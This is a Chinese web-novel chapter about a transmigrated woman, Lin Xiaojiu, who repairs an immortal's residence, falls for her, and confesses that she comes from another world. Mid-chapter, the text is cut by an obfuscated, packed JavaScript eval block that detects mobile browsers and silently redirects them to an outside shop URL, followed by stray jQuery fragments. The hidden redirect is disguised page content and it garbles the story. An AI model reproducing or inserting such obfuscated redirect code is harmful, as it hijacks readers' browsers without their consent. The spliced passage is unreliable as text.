傍晚，林小九正在院子里打磨月华石，沈清辞端着一杯茶走了过来。
“喝口水。”她把茶杯递给林小九。
林小九愣了一下，接过茶杯。茶是温的，不烫不凉，正好入口。
“谢谢仙尊”她喝了一口，眼睛一亮，“这是……桂花茶？”
“嗯。”沈清辞在她旁边的石凳上坐下，“厨房里找到的，不知道放了多久，但灵气没散。”
林小九捧着茶杯，小口小口地喝着，心里暖暖的。
她突然想起原著里的一个情节，沈清辞会在小九干活累了的时候端茶倒水，那些细节她当初看的时候觉得甜，现在亲身经历，才发现那种甜是渗进骨头里的。
“仙尊”她忍不住问，“您为什么对我这么好？”
沈清辞看了她一眼，淡淡道：“你对我的洞府好，我就对你好。”
林小九：“……”
行吧，这个理由很沈清辞了。
但她注意到，沈清辞说完这句话之后，耳尖红了一下。
很淡很淡的红，如果不是看得仔细，根本发现不了。
她低下头，假装专心喝茶，把那抹红深深地刻在了脑海里。
日子一天天过去，林小九的修缮工作稳步推进。
她用一个月修好了屋顶和石桌石凳，用两个月整理好了花圃和灵田，用三个月修补好了墙壁和水渠，用四个月清洗好了丹炉和书阁。
每一项工作都比原著里的时间缩短了一半以上。
沈清辞似乎已经习惯了她的效率，不再对她的“超常发挥”表现出惊讶。但林小九注意到，仙尊开始有意无意延长她的逗留时间。
“炼丹房的丹炉虽然洗干净了，但炉身上有裂纹，需要修补。”沈清辞说。
“修补裂纹需要赤铜精金，那种东西在南疆才有。”林小九说。
“那你就去南疆。”
“来回要两个月。”
“正好，你走了我可以清静清静。”
林小九：“……”
这女人明明就是想留她，嘴上却说“清静清静”。口是心非，傲娇本娇，和原著一模一样...
但林小九没有拒绝。
因为说实话，她也不想走。
不是因为她不想回家，她每天都在想回去的办法。而是因为她发现，和沈清辞待在一起的每一刻，都让她觉得……舒服。
那种舒服很难形容。不是现代人说的“舒适区”的那种舒服，而是一种更深的、更本能的、仿佛她本来就该在这里的感觉。
每天早上，她会比沈清辞早起半个时辰，去厨房熬一锅粥。粥的配方是她自己改良的。加了红枣、枸杞、百合、莲子，比原著里的白粥不知道好吃了多少倍。沈清辞第一次喝的时候，脸上的表情从“尚可”变成了“还行”，现在已经是“不错”了。
林小九觉得，再给她一年时间，她一定能让沈清辞说出“好喝”两个字。
早饭后，她会去院子里干活。沈清辞会坐在廊下看书，偶尔抬头看她一眼。
中午她会做饭。她在现代就会做饭，因为外卖吃腻了，不得不自己学。穿越之后，这些技能全部派上了用场。虽然苍梧山的食材和现代不太一样，但她举一反三，很快就摸索出了一套新的菜谱。
沈清辞一开始对她的厨艺没什么反应，但有一次林小九做了一道糖醋鱼，沈清辞居然吃了三碗饭。
林小九记得很清楚，因为那天沈清辞的耳尖又红了。
下午她会继续干活或者修炼。沈清辞会指点她的功法，耐心得不像一个活了数万年的仙尊，倒像一个生怕学生学不会的老师。
晚上的时间是她最珍惜的。干完一天的活，她会泡一壶茶，送到沈清辞的书房里，然后在旁边的蒲团上坐下来，随便聊点什么。
沈清辞话少，但林小九不在乎。她是现代人，最擅长的就是一个人对着空气滔滔不绝。她会跟沈清辞讲青丘的趣事（添油加醋版），讲她小时候偷鸡被抓（其实是原著里的情节，被她借用了），讲她在路上遇到的奇怪的人（根据原著扩充的剧情）。
沈清辞偶尔回一句，偶尔只是听着，偶尔会不自觉地弯一下嘴角。
每当林小九看到那个弯起的嘴角，她心里就酥酥麻麻的，又甜又涩。
喜欢。
她喜欢沈清辞。
不是作为读者喜欢纸片人，而是作为一个人喜欢另一个人。
她会因为沈清辞的一个眼神心跳加速，会因为沈清辞的一句话开心一整天，会因为沈清辞离她太近而呼吸困难。这些都是真实的、无法否认的、属于林小九自己的感情，不是原著剧情的影响，不像是小狐狸胡小九的本能。
她是林小九。
她喜欢沈清辞。
但这个认知并没有让她开心，反而让她更加痛苦。
因为她不属于这个世界。
她总有一天要回去。回到那个没有灵力的、平凡的、没有任何奇迹的现代世界。回到她的出租屋，她的电脑，她的泡面和加班。
到那时候，沈清辞怎么办？
原著里的沈清辞等了三千年，等到了胡小九。但现在的胡小九已经不是胡小九了，她是林小九。如果有一天林小九离开了，沈清辞等的那个人就永远消失了。
她不敢想下去。
又是一个深夜。
林小九像往常一样爬上屋顶看月亮。苍梧山的月亮很大很亮，比她见过的任何月亮都好看。她抱着膝盖坐在屋脊上，尾巴不知不觉全跑了出来。最近她修炼速度很快，已经修到了七尾。
“夜里风大。”
熟悉的声音从身后传来。林小九转过头，沈清辞拿着一件外袍站在她身后。
和原著一模一样的场景。
但和原著不一样的是，林小九没有等她走过来，而是自己站了起来，走到她面前。
“仙尊，我有话跟你说。”
沈清辞微微一愣，把外袍披在她肩上。
“说。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621212|206181||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
林小九深吸一口气。
“我...不是胡小九。”
沈清辞的手停住了。
“或说，我叫胡小九，但那个‘胡小九’不是你以为的那个‘胡小九’。”林小九说得有些绕，但沈清辞貌似也听懂了。
沈清辞收回手，静静地看着她。
“继续。”
林小九把心一横。
“我不是这个世界的人。我来自另一个世界，一个没有灵力、没有修仙、没有任何超凡力量的世界。在那个世界里，你所在的世界是一本小说，而我是那本小说的读者。”
她顿了顿，声音有些发抖。
“我知道这听起来很离谱，但这是真的。我不知道我是怎么穿越来的，也不知道怎么回去。但我知道您的一切。您的过去、您的未来、您会说什么话、会做什么事。”
“包括您等了三千年的人。”
沈清辞的眼睫颤了一下。
“那个人，”林小九的声音轻得像一声叹息，“不是我。”
夜风从苍梧山顶吹下来，吹得竹叶沙沙作响。月光洒在屋顶上，把两个身影拉得很长很长。
沈清辞沉默了很久。
久到林小九以为她永远不会开口了。
“你说你知道我的未来，”沈清辞声音很轻，“那你能告诉我，我等的那个人，长什么样吗？”
林小九张了张嘴。
原著里，沈清辞等的那个人就是胡小九——没心没肺的、天真烂漫的、会在屋顶上打呼噜的胡小九。
但那个人不是她。
她是林小九。她是理性的、谨慎的、工于心计的、会在图纸上标尺寸、会算材料用量的林小九。她和原著里的胡小九几乎是两个完全不同的人。
“她……”林小九艰难地开口，“她比我笨，比我可爱，比我讨人喜欢。她不会画图纸，不会算材料，但她有一颗最纯粹的心……”
“够了。”
沈清辞打断了她。
林小九闭上嘴，看着沈清辞。月光下，她的表情看不分明，但她的声音是冷的。
“你说你不是我等的那个人，”沈清辞说，“那你为什么要出现在这里？为什么要做这些事？为什么要对我……”
她没有说下去。
林小九的心揪了一下。
“因为我想回去，”她低下头，声音闷闷的，“我一直在找回去的方法，我想回家。但我不知道该怎么回去，我只能先留下来，做我该做的事。”
“修好洞府，赔完债，然后离开。”
“这就是你的计划？”沈清辞问。
“是。”
沈清辞没有再说话。
她转过身，走下了屋顶。月光照在她白色的衣袍上，把她的背影照得孤寂又清冷，像一座永远不会有春天到来的雪山。
林小九坐在屋顶上，抱着膝盖，看着那道背影消失在竹屋里。
她想追上去。
但她没有资格。